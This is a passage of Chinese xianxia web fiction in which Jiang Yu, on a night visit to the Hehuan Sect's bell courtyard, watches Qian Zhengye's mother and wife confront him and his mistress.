钱正业急冲冲的走在廊中,几步走进后,姜瑜这才看清了他那满脸缩皱成疙瘩的面庞,随后只见他张口说道:
“哎呦我的姑奶奶啊,你们这是做甚啊???”
“我也是奇了第一次见到有人大半夜来我们宗内钟院的,你什么时候不能来啊,非得今日。”
应不妄最先解除的是自己的消声诀,姜瑜耳边的禁制还未解除,她此时满脸茫然的看着身前这位胖老头手舞足蹈的,不知道在张嘴说着什么。
钱正业嘟囔到一半,他身后缓缓走来一位面容俏丽,脸上还染了几分潮红的少女——正是先前同钱正业一起给姜瑜送糕点的侍女。
她头发尽数散着,面容娇小,一眼看过去也不过是跟姜瑜差不多年龄罢了。
应不妄见状掀了掀眼皮,此时也有不少合欢宗内的弟子或是其他住客纷纷往院内赶来。
缓缓赶来的那位女人似是故意宣告身份似的,手腕微抬,动作轻柔舒缓的挎住了钱正业的胳膊。
还没等她开口说些什么时,钟亭之中远远便瞬来几道身影,姜瑜抬眼看过去时,只见一位气质相当,着服华丽的女人已然立足于中央。
从她身后,一位拄着拐杖、满头白发的老妇人也缓缓走出来,只听她开口说话时声音及其威严:
“业儿,你又在搞什么蛾子?”
只见华服女人适当的搀扶上那位老妇人,几步路下时,才挪步台阶之下。
应不妄抬眼瞧过去时,身下指尖并拢,一道灵诀下去,姜瑜耳边的消声诀便已然散去。
钱正业先是抬眼心虚的瞥了一眼华服女人,随后他躬身行礼问安道:“什么事把您老惊来了?”
拄着拐的老妇人怒气中发下抬手一震,她冷哼道:“你说说看,究是什么风将老身吹来的?”
言语间她扫了一眼姜瑜他们二人,随后将目光瞥向将手挽在钱正业胳膊上的女人身上,见此情形,老妇人方才扭头看向身侧搀扶着她的华服女人。
而那位华服女人则是满脸从容,面上不辨悲怒,在老妇人的眼光投过去时唇边还适实的扬着一抹笑意朝她点了点头。
姜瑜在墨色深夜之中,扫向周遭一圈,随后才捋明白了事由关系——
挽着钱正业胳腕的女人,是他的情人。面前这位白发花花的老妇人,是他的母亲。而那位面上不惊,满脸从容的华服女人,是他的正妻。
说到底,这还是姜瑜第一次见到这合欢宗内的老夫人和正夫人。
姜瑜将其总结成一句话就是:婆婆带着正妻来找她老公和情人。